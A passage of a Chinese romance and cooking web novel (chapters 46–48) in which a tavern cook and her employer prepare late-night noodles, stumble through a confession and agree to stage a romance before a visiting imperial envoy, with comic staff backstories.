方知府此时正吃着春笋呢,清酱赤红油宽泛亮,瞅着就勾人的美味,轻轻一咬果然了是今早新摘的,格外的清脆爽滑,多而不厚重的菜籽油混着咸香,咸中又夹杂着白糖的鲜甜,明明是不加荤腥的一道菜愣是做得比肉还好吃。 人在吃到极为美味的食物时,大脑都是宕机的,方知府的眼神里闪烁着智慧的光芒,呆滞了片刻才想起了此行的来意道,“我这次来还真是有事。” “何事?”张清寒紧接着问道。 方知府环顾了一圈拄着下巴好奇的伙计们,递了个眼神给张清寒。 “无事说吧。”张清寒点了点头道。 方知府这才清了清嗓子开口道,“我年关底下循着惯例回京中述职,本是过了年欢欢喜喜的事,可事情就发生在我启程归来的前一日。那一日,我本在采买夫人嘱托要买的京中各色特产,在那长安街上转到一半,忽然就被拦住了,你们猜这拦我的人是谁?” “谁啊?能把朝廷五品官拦住,定然不是等闲之辈,莫不是宫里的?”马陶陶机灵的小脑瓜转了转道。 “姑娘甚是聪慧啊,正是宫里的消息,可来人既不是内侍也不是守卫,竟是位年轻姑娘,和姑娘你差不多大。”方知府紧接着说道。 “若是位姑娘,那方大人你可是交了好运了。”张清寒忽而笑道,他大抵已然猜出是谁找了这位方大人。 “张老弟你就别挖苦我了,我见那姑娘身着华贵,对着我话都不多说半句,直接亮了令牌将我带走了。我就是个五品官,在那皇城根底下,一板砖下来一半都是比我大的,我哪里见过这个阵仗啊。”方知府想到此处,仍心有余悸,不自觉地给自己顺了顺胸口。 “那后来呢?如果是宫里的贵人召见,大人你如今又全须全尾地坐在这,想来召你也不是什么坏事。”程六水若有所思道。 “怎么说呢,我吧我是个没什么身世背景的人,寒门出身为官多年,在官场上向来谨小慎微,甚少与那些权贵之人结交。”方知府不好明说,欲言又止道。 张清寒饮了一盏茶,嘴角噙着笑道,“方大人不必如此小心,此处没有旁人,就算有也都是我的人,没人会将今日之事告知他人,况且你要说的也不是什么不可告人之谜。想来那寻你的人是皇后娘娘的女官,这些年朝中党争颇为激烈,文官清流骨子里向来清高,从不将手握权力的皇后娘娘放在眼里,而户部军中却是皇后娘娘的亲信,当然了我也是。” 程六水睁大了眼睛不停地眨呀眨,我的个天老爷啊,怪不得这位曾经手握重权的东家来了这酒楼呢,好家伙都掺和到帝后之争里去了,她好歹是在现代看过好几百集历史剧宫斗剧的人,能从党争里全身而退的人没几个啊。 不过从她过往的记忆来看,这位皇后与当今陛下相识于微时,两人历经生死才有情人终成眷属,况且皇后出身本就不差,前户部尚书之女,母家又在西北军中根深蒂固,民间传言当今陛下顺利登基,也有皇后的一份功劳。 如此帝后,竟然也会相争吗?难不成这就是可怕的权力,啧啧啧好怕怕,程六水默默地喝了口荠菜豆腐汤压压惊。 “对啊,张老弟就因为你是皇后娘娘的亲信,这皇后娘娘召了我去,给我吓得差点趴在文德殿里。”方知府现下吓得都出了一头汗。 “你莫慌,皇后讲理得很,她说什么了?”张清寒问道。 “娘娘说,年后她要亲派御使来江陵,一来看看这江陵人文治理是否得益,光是我去述职是不够的,必得细细勘察;二来要来瞧瞧你在江陵待得如何了。”方知府越说越小声,气都快没了。 “张老弟,你可要救我啊,我这一年兢兢业业是绝对不敢懈怠的,可御使是什么脾性我又哪里知道,万一他告我一状,我可不就完蛋了吗?”方知府哭丧个脸又道。 “放心,皇后娘娘要是如此是非不分,她也做不到如今这样,但你说的御使?你可知要派谁来吗?”张清寒面色平静道。 “知道知道,说是派伯远侯府白家来。”方知府赶忙答道。 此言一出,在场所有人皆愣住了,乔四方在无人察觉时一不小心把筷子掰断了,而马陶陶则心虚地低下了头,赵玉雨浑身微微颤抖着一言不发,而程六水脑海中的记忆飞速运转着,一幕幕闪过最后落到了一位似曾相识的少年郎身上。 第46章 荠菜豆腐汤 伯远侯府白家,前朝之时威名不显,在京中那公府侯府里只将将占个中游,先祖虽是随大乾开国皇帝风里来血里去的,封了个侯爵的爵位。 等传到前朝老侯爷那处,就没什么加官进爵的大志气了,老老实实地守着自己的荣华富贵不折腾了。 坏就坏在,老侯爷的大儿子是个怪不争气的公子哥,本是要承袭爵位的,结果十几岁成日里是寻花问柳喝酒赌钱,好好的一副身子就糟蹋了,偏偏心性傲得很,明里暗里得罪了不少人。 还没等被立为世子就暴病而亡了,老侯爷当时已过不惑,独独就这么一个儿子,白发人送黑发人可不是老泪纵横卧床不起。 缓了两三年才缓过来,想着偌大的侯府无人继承怎能行,这才又着急忙慌地得了对龙凤胎。 俗话说龙生龙凤生凤,老鼠的儿子会打洞,这对龙凤胎还真是沾上了些灵气的,儿子白承茂自小诗词歌赋无不精通,可谓是满腹经纶,十八般武艺也能耍上几分,不愧是武将世家;而女儿白宛瑜在京中则是有名的才女,言谈举止无不引得旁人驻足效仿。 张清寒听了皇后要派白家人来做这么个御使,也不禁皱了下眉,实在是不怪他,白承茂年纪不大却深谙官场之道,入了朝堂便成了文官清流们的拥趸,与皇后政见截然相反。 那么皇后唯一能派来的便是白家次女白婉瑜,这位曾经的皇后女官,盛极一时的红人,去岁才出宫嫁了人,可这嫁人也并不妨碍她继续在朝堂上发挥着作用。 “是白婉瑜,也就是如今的卫侯夫人?”张清寒直白问道。 “正是啊,张老弟不愧是你,哪怕离京城千里仍能猜中皇后娘娘的心思。”方知府如小鸡啄米般点头道。 “若是来的她,你便不用担心了,她向来是非分明善断事端,这江陵你治理的不错,我这酒楼能重建经营得红火,没有你的宽政扶持商贾是不成的,皇后娘娘未入宫前亦是经商的,你这是与她不谋而合。”张清寒面无表情地宽慰道。 “那就好那就好,这下我可是放宽心了。”方知府说罢,自顾自地给自己盛了碗荠菜豆腐汤,这荠菜自不必说了,清甜爽口鲜了整锅汤,不仅不涩反而好吃得紧,再配上隔壁街王豆腐坊的嫩豆腐,一口汤下去嫩滑无比。 不知不觉一碗就下了肚,勺子压根都停不下来,刚想盛第二碗抬头就见怎么桌子上没有飞舞的筷子了呢?方才如饿狼扑食的伙计们忽而转了性,一个个成了羞怯的大家小姐,不仅小口小口的吃饭,就连夹菜的动作都省了。 方知府静悄悄地环顾四周,毅然决然地不管不顾了起来,嘁哩喀喳开始给自己碗里夹菜,他方才才知这炒鸡蛋里是一种名叫香椿的野菜,往常也没吃过,不曾想竟如此好吃。 能吃到香椿鸡蛋油焖笋盖饭,他这趟酒楼就算没白来,而坐在他正对面的张清寒愈发沉默了。 方知府饱餐一顿心满意足地与众人挥手告别,骑着他那不甚听话的小烈马继续迎着飘荡的柳絮疾驰而去。 往日里欢声笑语的酒楼瞬间更是没了声音,众人默默地收拾好碗筷,一溜烟儿地全不见了踪影。 程六水赶忙躲回自己的房间里,一口气钻进了暖和的被子里连脑袋都不露出来,捂了好一会儿这才缓了过来。 老天爷啊她怎么没想起来有这么一出呢,她倒是不认识这要来的白婉瑜,可原主却识得这位白婉瑜的哥哥白承茂,他们二人的关系说来简单也是十分简单的,不过是两小无猜青梅竹马而已。 白承茂自小身子就弱,他那侯爷爹爹生怕这么个眼珠子也就此夭折了,那太医院的太医腿都溜瘦了,可还是不见好,冬日里一见风就咳嗽,夏天日头一晒就中暑,唯有春秋两季好些,可惜 京城这两季太短。 后来老侯爷不知从哪听来的神仙真言,说是要送去个深山老林里集天地之灵气,滋养着白承茂的身子,养个三两年就能见起色了。 于是不到十岁的白承茂隐姓埋名被送去了庐州某山里,程门后山的一处院落里多了位体弱多病的小少爷。 而这位小少爷在程门唯一的玩伴便是与他年龄相仿的程六水,根据原主的记忆,这白承茂初时总被原主捉弄,可不知怎么的两人的关系倒是越处越好。 两年后,白承茂果然有了好转,老侯爷这才派人接这小祖宗回家,白承茂临走前对着原主依依惜别,仿佛是什么生离死别一样。 后来原主随父母来京中皇城司中研制新型火器,那早已长成的白承茂还前来探望过几次,只不过那时的他就已经与皇城司不对付了,每每说不了两句话就要离去。 原主不觉出什么,但程六水这么个看了几千本缠绵悱恻小说的人一瞧便知,这不就是小青梅的故事嘛。 可如今这小青梅成了她自己,她不仅浑身胆颤,幸亏此次来的不是白承茂,不然该如何交待他的青梅竹马变成了另一番模样。 思及此处,程六水这才从被子里钻了出来,方才因着这事精神一直紧绷着不觉得饿,如今松懈下来肚子便咕噜噜叫了起来。 近日酒楼忙碌得很,她尚未来得及给自己做些个零嘴,方桌上只有个孤零零的水壶,可一连喝着好几杯还是饿,正当她准备趁着夜黑风高偷摸给自己开小灶的时候,门外清脆的敲门声阻止了她鬼鬼祟祟的步伐。 “谁啊?”程六水皱眉道。 “我。”门外清冷的声音传来,原来是张东家。 程六水眼睛咕噜一转道,“厨房里有馒头,饿了自己热热。” “不吃馒头。”张清寒停顿了两秒才道。 “不吃馒头你还要吃什么?”程六水撅起嘴来,哼大晚上的她要独自享用夜宵,万不可像之前几次一样,被这帮损友伙计们抓个正着,只能被迫交出一大半吃食。 “我不吃东西,有事找你。”张清寒不禁撇嘴轻声道。 “哦,那你进来吧,门没锁。”程六水只得开口道。 张清寒一进门便见程六水小脸红扑扑的,发丝在肩头凌乱地翘起,顿时有些不自然道,“抱歉,我不知你已睡了。” 睡了?程六水狐疑地看向张清寒,随后看见了镜子里她在被子里翻跟头打把势后的尊容,这才赶忙整理了乱七八糟的头发和衣衫。 “咳咳没睡,东家有何事啊?”程六水故作正经道,还很有礼貌地要给张清寒倒水,可惜水壶里的水早就被她喝得一滴不剩了,什么都倒不出来了。 “方才方大人说白家人要来。”张清寒试探说道。 “嗯我听到了,还说要来看看你待得如何了。”程六水重复着方知府的话,一脸奇怪地看向张清寒,实在是不明白这人怎么又要说一遍。 “白家人你也不记得了吗?”张清寒终是沉不住气问道,烛光下本就不甚清晰的眉眼愈发压低了起来,说不出的危险。 程六水仿若被猛虎盯上的小白兔,压根不知虎爪子都伸到头顶了,仍眨巴着眼睛诚实道,“我记得啊,白承茂小时候在程门住过几年的。” “不仅小时候住过几年吧?”张清寒逐渐靠近,脸上难得出现了极为压抑的神情。 这时程六水才反应过来,她赶忙笑眯眯讨好道,“哎呀东家你放心,我知道的你们俩政见不合,那小时候的情意都是过眼云烟不值一提,他哪能有东家你好啊。” 张清寒总觉着哪里不对劲,自己明明憋着一股气,如同掉进陈年的醋坛子都快腌入味了,他在皇城司见过那鲜衣怒马的少年郎是如何风尘仆仆赶来,又是如何穿过重重关卡,只为见程六水一面的。 当年只觉是年少情深,一笑了之便算了,可如今细细想来,竟有一人在他都不识得六水的时候,便陪着她度过懵懂天真的岁月,该是何等过往才会化作少年一腔深情。 他不知六水对白承茂是什么心思,他亦不知六水对自己是什么心思,心下顿时拧巴得不行,心口怨气怎么也出不去。 一抬头撞见程六水笑容灿烂,那些个冷冰冰的酸言酸语怎么也说不出了,明知道她这些个话都是哄自己的,却还是忍不住翘起嘴角。 “那如果我俩没有什么政见不合,你觉着谁更好?”张清寒脱口而出道。 程六水在心里都快把脸皱烂了,这什么鬼问题啊,我管你俩谁更好呢?谁好也没用,饿了还不是得自己做饭吃,说这些虚头巴脑的有啥用。 但就算是借她十个胆子也是不敢这般说出口的,只得耐着性子答道,“我觉着吧,天大地大不如吃饱重要,你要不要和我一起吃夜宵?” “……那你说谁更好,我再同你一起去吃。”张清寒难得执着地接着问道。 “当然是能陪我吃夜宵的你更好了。”程六水按耐着想抽张清寒脸的冲动道,还谁更好?当然是夜宵最好了! 第47章 西红柿鸡蛋打卤面 一推开后厨门,程六水又转头怨恨地看了眼张清寒,都怪他磨磨唧唧的,到底是来晚了一步,这厨房里早已站满了人,乔四方正坐在那烧火呢,拿着个大蒲扇一顿扇,火势旺得很。 “六水你终于来了,我和你说我刚才都没吃饱。”马陶陶鼓着脸道。 “嘿嘿我也是。”乔四方滋个大牙就在那傻乐。 “原来你们都在这等着我,东家你不会是他们派出的探子吧?!”程六水愈发不满道。 “我没有我不是,我是真的有事同你说。”张清寒赶忙辩解道。 “什么事啊?”乔四方一脸天真道。 “是啊,什么事只和六水说,不和我们说啊?”马陶陶趁乱开始调侃道,她又不是个瞎的,傻子都能看出来张东家一颗心都在六水身上,此时不看东家吃瘪更待何时啊。 张清寒聪明过人,哪里不知这帮伙计心中的小心思,冷笑道,“那你们说说方才为何都没吃好吧?四方你的筷子是怎么折的,陶陶你又低什么头呢?” 乔四方如被雷霆一击般瞬间成了霜打的茄子,战战兢兢地偷看马陶陶,半句话都不敢说,老老实实地烧火去了,低着头没一会儿脸就黑了。 而马陶陶更是直接又低下了头,好似对这话充耳不闻来着,掏出擀面杖道,“六水我们今天吃手擀面好不好,我想吃肉沫豆角卤子的。” 乔四方听了这句才小心翼翼地举起手道,“我还想吃西红柿鸡蛋的。” “好好好都做。”程六水叹了口长气道,吃吧活爹们使劲吃吧! 她正打着鸡蛋,忽然又看了眼厨房诸人道,“玉雨呢?我看她刚才也没怎么吃吧?陶陶要不你叫她一起来吃吧。” “我叫了,她说今日困得很就不吃了。”马陶陶十分自然道。 “哦,你还说你们不是预谋好一起来让我做夜宵的?”程六水愤愤不平道。 “哎呀好六水,我知道你最疼我了,怎么也不会看你的好姐妹饿肚子吧,你看我在这吃也吃不饱穿也穿不暖的,你就可怜可怜我吧。”马陶陶早已没有了初见时那皇商家小姐的模样,整个人赖在程六水身上,害得程六水手下地擀面杖都偏了一寸,直接擀歪了。 张清寒还不等程六水继续这腻腻歪歪的姐妹情深,直接一个提溜就将马陶陶整走了,他自己颠颠过来道,“我来给你打下手吧,我最会打下手了。” “好好好,你擀面,陶陶切菜,四方烧火。”程六水拍了拍手掌心上的面粉道。 “那六水你干啥啊?”乔四方直不楞登地问道。 “我看着你们干啊,不知道了吧不会带人的领导不是好领导,只会成为一个累死的领导。”程六水掐着腰宛如一个地主婆般指挥着这三人忙得滴溜溜转。 待一切准备就绪,程六水这才隆重登场,别看这两个卤子听着简单,但再简单的菜都得是有技巧的。 西红柿这么个外来的稀罕物,要先划上个十字刀,在那滚烫的热水里烫个一会儿,再放入透心凉的水盆里,这时取出沿着那刀痕轻轻一拨,外面那层薄薄的皮便全下来了。 这西红柿皮倒也不难吃,打卤面重要的是出汁的卤子,这层皮若是还在,稍稍就有那么一星半点碍事了,在将这西红柿滚刀切块。 起锅烧油,趁着油温还不热,放入蒜末爆香,刹那间菜籽油与蒜完美地结合在了一起,没了生蒜的腥辣只留 香气,这时加入褪去皮的西红柿块,最好连方才切时的汁水一并倒入锅中。 顿时厨房响起了噼里啪啦的声响,惊得马陶陶又蹿出去二丈远,“陶陶你学了这月余的做饭,怎么还是这么怕炒菜呀。” “这也不能怪我啊,实在是太吓人了,但我调味调得很好!”马陶陶心有余悸道,一个劲用手拍着自己的小心脏。 “确实如此,四方与你恰好相反,他是炒什么都不怕,直接往油锅里倒水啊莽得很,调味却不行,甜不甜咸不咸实在是奇怪得很。”程六水点了点头,又轻声说道。 乔四方听到了自己名字,转过头来正要瞧,只听程六水又说了一句,“正好,你会调味他会炒菜,还真是天造地设的一对……做饭搭子。” “六水你说什么呢!还不快炒你的卤子。”马陶陶本就吓到了,此时小脸更是羞臊得很道。 “我炒我炒嘿嘿。”程六水在油锅中不停翻炒着西红柿,这西红柿不一会儿就出沙了化成了酸甜可口纯天然的西红柿汁,此时再倒入几勺清酱,颜色倒是未变多深,咸淡却加足了。 程六水看着咕噜噜冒泡的大铁锅,从一旁取出一瓮白糖来,一勺不够再来一勺,最后倒入先前已经煎好的嫩鸡蛋,这鸡蛋是赵阿婆家精心养的大母鸡小花今日下的,十分新鲜。 大火翻炒了起来,那红红的汁水裹住了嫩黄的鸡蛋,十分咸甜可口,出锅了再撒上把葱花,绝对是深夜不可多得的打卤面卤子。 张清寒手脚麻利地接过大铁锅,三下五除二就刷完了,生怕有水还擦了好几遍,才放心地放回了灶台上。 程六水欣慰地点了点头,真是孺子可教也,你看看好厨子就是要让所有人学会做饭,当然了依照天赋不同,这个做饭的能力亦是不同的。 像玉雨如今,凡是家常小菜皆是会做的,而张东家嘛刷碗真是一把好手啊! 早已用清酱姜片黄酒还有多种香料腌制好的肉沫,不多时便染上了清酱的颜色,瞧着瞬间就变得美味了起来。这肉沫程六水特意让陶陶挑那七分瘦三分肥的肉剁的。 这样的肉沫炒出来才不柴不腻,这回锅里不用再放许多油了,肥肉沫自然被煸出了些猪油,与菜籽油混合发出了更为勾人的香味。 煸炒到肉沫微微变色,程六水这时便眼疾手快地倒入了足量的蒜末,起码得有大半头大蒜吧,这样才能彻底祛除肉沫的腥气,吃起来半点没有荤腥味,却香得要命。 炒了片刻便是切成极小段豆角出场的时候,这豆角自春季便有,夏季尤为多见,若是有些挑嘴的食客不爱吃青菜,那豆角便是他们的首选,可做豆角也是有讲究的,这东西生着吃没毒熟着吃也没毒,偏偏不生不熟间就有那么点毒。 毒也毒不死,就是跑肚拉稀得去医馆开个几天药来,故而程六水做豆角尽量是炒得熟熟的,不怕炒过火就怕炒不熟。 炒着炒着她就累了,眼巴巴地看向正在擀面条的张清寒,张清寒立时跑了过来,接过了铲子如同一头永动驴般开始卖力煸炒。 而乔四方撇着嘴继续擀面条,他是脑子不爱转,但也不是个傻子,他实在是没想到啊,怎么连无坚不摧的张老大在心仪之人面前都跟个小媳妇的似的,实在是太没有骨气了,怎么能和自己一样呢哎。 自从上次他与陶陶跑出去买梨吃,过去了好几个月了,乔四方也摸不清如今他与陶陶是个什么关系,有好吃好玩的,他们总是一处,可每每他要表明心迹时,陶陶不是临时有事就是突然跑了,弄得他这一颗心七上八下的,只能愈发不安起来。 只不过乔四方这番心思,今夜是无人理会了,擀得劲道爽滑的手擀面出锅了,程六水先是舀了几勺西红柿鸡蛋还不够,又放了些肉沫豆角,最后再取出了珍藏许久只剩一点的正宗无敌牛肉辣酱。 天啊这么一碗打卤面吃到嘴里,酸甜的蛋肉香的豆还有辣爽的牛汇聚在嘴巴里,甭提有多香了,就是神仙来了都不换啊,还什么白家人王家人的,早就抛到脑后去了。吃了几口,再在锅里来些面汤,没有比这更美的了。 一时间,厨房除了呲溜呲溜声,就没别的声音了,满满一大盆面就这么眨眼间没了。幸亏那同样贪吃的方知府不在,不然这一盆都不一定能够啊。 吃饱喝足的程六水这时的脑子才开始真正运转起来,她偏过头满脸疑问道,“东家你刚才找我到底要说什么事来着?” 张清寒一下子面条也不吃了,放下碗就拉着程六水出了厨房,还回头斩钉截铁道,“你们俩在这老实吃面!”马陶陶信誓旦旦地拉着乔四方点了点头,果真埋头吃起面来。 厨房门关得严严实实,张清寒站在院子里这才极为小声道,“皇后要派白婉瑜来,多半是要劝我回京的。” “什么?我不同意!”程六水未经大脑思考,脱口而出道。 这最为直接的反应激得张清寒眼睛都亮了,他努力放平呼吸道,“你为什么不同意?” “你要是走了,我不就没有东家了吗?你过年答应的涨工钱都是骗人的!”程六水撇着嘴可怜巴巴道。 张清寒无力地垂眉摇头,他就知道不该有什么六水开窍的期待,随即开口道,“我也不愿离开,故而你我怕是要做出戏给白婉瑜看。” “什么戏?”程六水好奇道。 “……是你我情投意合的戏。”张清寒说罢,白皙的脸上又红得不成样子。 第48章 上西天 “???”程六水呆若木鸡地看向张清寒,嘴里震惊地连话都说不出来,她甚至觉着自己是幻听了。 “你再说一遍?”程六水紧接着道。 “演一出你我情投意合的戏给那白婉瑜看,她知我在这江陵有了牵挂,定然不好再不近人情让我随她回京,来日她回京也好对上有所交待。”张清寒忍着羞涩,认真地给程六水分析道。 “哦哦。”程六水微笑着听完了这番解释,然后她就以迅雷不及掩耳之势,用尽了刚才吃打卤面攒的劲,抄起身后的扫帚就朝着张清寒扫去。 张清寒眼看一个秋风扫落叶袭来,惊得赶紧上蹿下跳,这人啊还是得武功高,他这一蹿直接跑房顶上去了。 “你给我下来!”程六水立着眼睛怒斥道。 “六水你冷静,你听我给你讲。”张清寒踩着那青瓦都不禁被程六水的气势逼得后退。 “我听你讲什么?你这明明就是职场骚扰想占我便宜。”程六水越想越气,直接扔了扫帚开始搬梯子,要上瓦揭瓦给这东家一脚踹下去。 “我真的不是,我本就是欲辞官归隐,来这酒楼是帝后不肯放我归去的结果,如今再找理由不归京,也只有情之一字方真,那帝后也是性情之人,知晓我心悦于你,定会再斟酌的。”张清寒一着急躲闪之间,竟把自己藏在心中,一直未曾宣之于口的话说了出来。 他说出口后,瞬间被自己惊住了,一时间在那凝结了霜露的瓦片上都站不稳了,脚打粗溜滑直接甩了下去。 而那刚刚爬梯子爬到一半的程六水眨巴了两下眼睛,手脚灵活地一下子就跳下了梯子,举着扫帚恶狠狠地对着躺在地上不得动弹的张清寒道,“你骗傻子呢?你要演戏找谁不行?我看四方就不错,等少仲回来也行。” “???”张清寒脑瓜子嗡嗡的,根本都听不清程六水唇瓣张张合合地在说些什么,恨不得就此与世长辞。 他活了二十多年,第一次也是唯一一次的表白心意最终以六水根本没听明白告终,不仅没听明白还 让自己和别的人在一起,哦还是别的男人。 厨房木门那马陶陶和乔四方两人紧紧实实地扒着门缝,院子里的动静是听得一清二楚,马陶陶震惊得张开嘴巴,久久不能合上。 乔四方则在心中默默记了一笔,这同女孩子表白还是要慎重再慎重的,万不可像张老大这般说了出来,有的人表白是场喜剧,有的人是场悲剧,而张老大的表白没有结局,因为压根对方就不知道开始了。 一连几日程六水都没给过张清寒好脸色,甚至还气鼓鼓地故意给张清寒的碗里放他最不爱吃的芹菜,那芹菜切成一小段一小段,同白米饭充分地混合在一起,挑也挑不出,他要是不吃就没有饭了。 张清寒是既不敢怒也不敢言,只能默默地捧着饭碗吃饭,他只要一张口同六水说话,六水就仿佛视他如无物般走开,短短几日就将这一代武林高手折磨得消瘦了一圈。 但张清寒并未放弃,话说不得他便开始写信,早上一封中午一封晚上一封,从最开始的两页变成了四页,最近的一封直接攀升至十页了,那信封都装不下。 程六水看着房间里堆成小山的信,恨不得赶紧扔出去,她扔出去过,然后没过一会儿那信就又回来了,如同个狗皮膏药般是撕也撕不掉。 她不能再这样放任不管坐视不理了,终于程六水第一次打开了其中一封信,这封信应是前些日送来的,两页纸皆是发自肺腑的真心道歉,什么忽略了程六水的感受,不该提出这等荒唐的建议。 紧接着程六水打开了一封又一封,每一封信都是肺腑之言,全无为自己辩解之言,唯有真心实意的歉意。 这一夜程六水看了许久,蜡烛都快燃灭了,她才读完了所有的信,不知为何望着夜半圆月,那股郁结在心中的怒气不自觉地就消散了。 她忽而又想起了那夜,张清寒似乎说过心悦于她,程六水日日清澈见底的圆眼睛忽而染上了些许深邃,在这片有些许光亮的黑暗中,她静默了许久才躺在了安心的床榻上。 第二日晨起,乔四方打着哈欠打开了酒楼的大门,好家伙大门外六匹骏马拉的宝车早已在这等了许久,整条街都是井然有序站岗的士兵,宝车周围几位面容清秀的侍女随侍着。 “您们这是吃饭?”乔四方倒是不怵这些,稀松平常地问道。 “夫人,酒楼开张了。”侍女未答乔四方的话,只是回过头轻声道。 “劳烦向张东家通传声,就说故人来访。”宝车内传来了轻柔的回应,这声音不紧不慢,令人闻之便心生好感。 乔四方听见这声音依旧面如常色,可心下早就打起了鼓,这人的声音他记得,就是当年的声音!“好稍等,您先里面请吧。” 说罢,乔四方一溜烟就跑去找张清寒了,“东家!人来了!” 张清寒打开房门道,“急什么?你欠她钱?” “我不欠她钱,我欠她别的!”乔四方赶紧溜进了张清寒的房间,反手就把门关上道。 “啥?你欠她什么?”张清寒显然是第一次知道乔四方竟与这白婉瑜有前尘过往,白婉瑜未入宫前应是在京中大门不出二门不迈的,怎会与乔四方有所牵扯呢? 乔四方眼看不说不行了,这才苦着脸极为小声道,“这都是许多年前的事了,那时我在洪泽会刚开始干活,接的第一单生意就是跟这白婉瑜有关系的。” “所以你们就认识了?洪泽会不是只接杀人绑票的买卖吗?你把白婉瑜怎么了?”张清寒决定还是要好好问问这段过往,别到时候一个不小心,白婉瑜再把乔四方抓进去。 “我没把她怎么啊,我那时岁数小什么都不懂,生意单子上写的是:送她上西天。然后我就把她从侯府带走了……”乔四方挠了挠脑脑袋不好意思道。 “所以你最后把她带哪去了?”张清寒现下只想自己给自己按按人中急救一下。 “我幼时在斗兽场的时候,就听那比我大的哥哥们说虎皮猴王的故事,说那猴王送自己的师父上西天,最终修成金身佛祖。我一接到这任务,我就兴奋了,送这小姑娘上西天,不仅是好事还有钱赚,真是一举两得啊。”乔四方不好意思笑道。 “当时你多大?她多大?”张清寒实在是不知该说些什么了,他就应该前些天从屋顶掉下来倒地不起的。 “我那时十三四岁,她比我还小点,也就刚刚十岁吧。”乔四方回忆道。 “所以你给她送寺庙里去了?”张清寒紧接着问道。 “对,但是是比较远的庙里,我听说那上西天都是历经九九八十一难,她家那侯府我现在还记得,出门一拐弯没走两步路就是慈悲寺,这么近哪里有什么磨难啊,我就送得再远了点。”乔四方越说越难为情,虽说自己现在也不是十分聪明吧,但那时候怎么能这么傻呢? “不会是京郊的明礼寺?”一张完整的京城地图出现在张清寒的脑中,他脱口而出道。 “正是,老大你猜得真准。”乔四方点了点头道。 张清寒笑了,能不准吗?那明礼寺坐落在京城周边唯一一座险峻高峰望曲山,不说是万丈高也得有个千丈了,相传这庙宇灵验无比,但须得步行上山,坐轿骑马皆是不行的。 千丈高的险峻山峰,京城多是富贵人家,除非是家里有大难了,才会豁出半条命来上山许愿。故而这明礼寺虽声名远播,却算得上是人烟稀少,庙宇里的主持方丈一心礼佛不理俗事。 乔四方送白婉瑜去这明礼寺还真算得上经受磨难了,十岁大的侯府小姐叫天天不应叫地地不灵,只能被个身强力壮的少年赶着上山,说到底虽无性命之忧,却也不是什么好事。 “行了,当时你蒙面了吗?她没见过你的脸吧?”张清寒这才问道。 乔四方眼睛又开始瞟向远处,转了一会儿才敢看张清寒的脸色,果然脸又黑了几分。 “洪泽会虽不是名门正派,但好歹也是个组织严密的帮派吧?带你入门的师父没有和你说过不能露脸吗?”张清寒握紧拳头咬着牙道。 “第一个师父没说,他也露脸了,然后就被要绑架的那家人看上了,留下来做了上门女婿。”乔四方瞪着眼珠子,如实回答道。 “好好好别说了,这两天你就别在柜台站着了,去后厨帮忙吧,轻易不要出后院。”张清寒实在是没有力气再追问下去了,他摆了摆手,乔四方就打开窗户一跃而下,再难见踪影了。 张清寒这才又打开了房门,门前早已伫立着一人,这人便是马陶陶。 “东家轮到我了吗?我有事和你说。”马陶陶心虚地笑道。 “进来吧。”张清寒点了点头,从六水那里学来的假笑在这一个早上派上了大用。 “我看见那白婉瑜了!”马陶陶一张苦瓜脸道。 “你看见就看见了,方大人那日不就说白婉瑜要来吗?你现下怎么才开始惊讶?”张清寒道。 “东家你不知道,我与那白婉瑜天生不对付,在京中的时候她就总是板着张脸教我这教我那的,我实在是受不了了。”马陶陶叹气道。 “她在皇后面前当女官自然规矩大,想必她不仅教你也教旁人吧?这倒也不算是过节。”张清寒先前遭受过乔四方的重击,早已出现了惊人的免疫力,现下看这小女儿家的心思都是小儿科。 “这倒不算是过节,但是吧有一次她说我兄长在北戎颇有些乐不思蜀,还说那北戎长公主与兄长形影不离,怕是哪日就要在北戎安家不回来了。”马陶陶现下说道这,仍是十分气愤。 “然后呢?说吧你做了什么?”张清寒笑了。 “我没做什么啊,我当时一句话都没说,就是趁她回去的时候,往她马车里放了一堆毛毛虫扑棱蛾子还有其它一些很可爱的小动物。”马陶陶默默低下头道。 “我与那白婉瑜并不相熟,只是在帝后面前打过几次交道,就是这点头之交,我都知晓她平日里最怕那些个虫子,你真是好样的。”张清寒继续笑着。 “我还行吧,有仇报仇有怨报怨,谁让她故意气我来着。”马陶陶颇为有些自豪道。 “是啊,后来我从旁人嘴里听说,那白婉瑜未进宫前曾经身陷虫子窝,吓得嗷嗷叫满街跑,想必就是你干的吧?为了这事她险些失了体统,所幸皇后是个不拘小节的,她这才进了宫。”张清寒抽气道 “那倒是确实是我干的,所以我这不是来你这躲一躲吗?”马陶陶声音逐渐小了起来。 “行,你这几天也别在大堂跑堂了,去后厨帮忙吧。”张清 寒摇了摇头道。 “好嘞,就等您这句话呢。”马陶陶再次推开窗户,乔四方的梯子早已在下方接应了,她顺着梯子就爬了下去,躲进后院就不出来了。 张清寒这回深吸了长长的一口气,想来应是不会有人在门口了,他这才推开房门,结果他直接被逼得后退了几步。 程六水俏生生地站在了门口,这么多天了她终于在张清寒面前笑了。 “六水,你这么早来是有什么事吗?”张清寒声音无比轻柔道,生怕这是一场美梦。 “清寒,我来找你自然是谈你我的事啊。”程六水明媚一笑,目光柔和如天上飘忽不定的云彩。 “我们有什么事?”张清寒都懵住了,小声问道。 “就是你我情投意合的事。”程六水实在是有点装不住这副温柔面孔了,直接将张清寒推进了房门将门反锁住。 两人在其中不知说了些什么,总之一炷香过去了,再出来张清寒便红着一张脸,而程六水脸上终于出现了发自真心的笑容。 在大堂中等候多时的白婉瑜倒是气定神闲,半点不耐烦也没有,月白云锦缎上极为细的银线织就了芙蕖花样,飘散在裙摆之上,仿佛九天之上的瑶台仙子般超凡脱俗。 手中抱着一织花锦暖炉,暖炉中许是还加了些清幽香料,丝丝沁人心脾却不会浓艳得令人心生厌烦。 白婉瑜耳边传来声响,她抬头一瞧,阔别一年多的皇城司使身着素净的天青袍子从楼上闲庭信步地走了下来,那张脸上看不出什么神情,一如往常般冷着脸,无从琢磨。 可他突然回过头去,温柔地伸出手来,一只纤细白皙的手自然而然地搭在了张清寒的手上,再向上一瞧,竟是位清丽可人的姑娘。 这姑娘穿着素朴,粉黛襦裙同色飘带束在腰间,乌发只是用发带梳起,鬓间一支粉白玉的桃花簪衬得她玉雪可爱,莹白的脸上是极为清澈的含水双眸,望着张清寒时,万般柔情皆倾泻而来。 张清寒小心翼翼地牵着这姑娘下楼,生怕姑娘一个不小心就摔倒了,但白婉瑜识人无数,一眼便看出这姑娘是个机灵跳脱的性子,张清寒在她面前怕是半点便宜都占不得的。 “卫侯夫人别来无恙啊。”张清寒到了大堂才依依不舍地放下六水的手,礼数周全道。 “皇城司使近来气色真是不错,想必是人逢喜事精神爽吧。”白婉瑜翩翩起身回礼道。 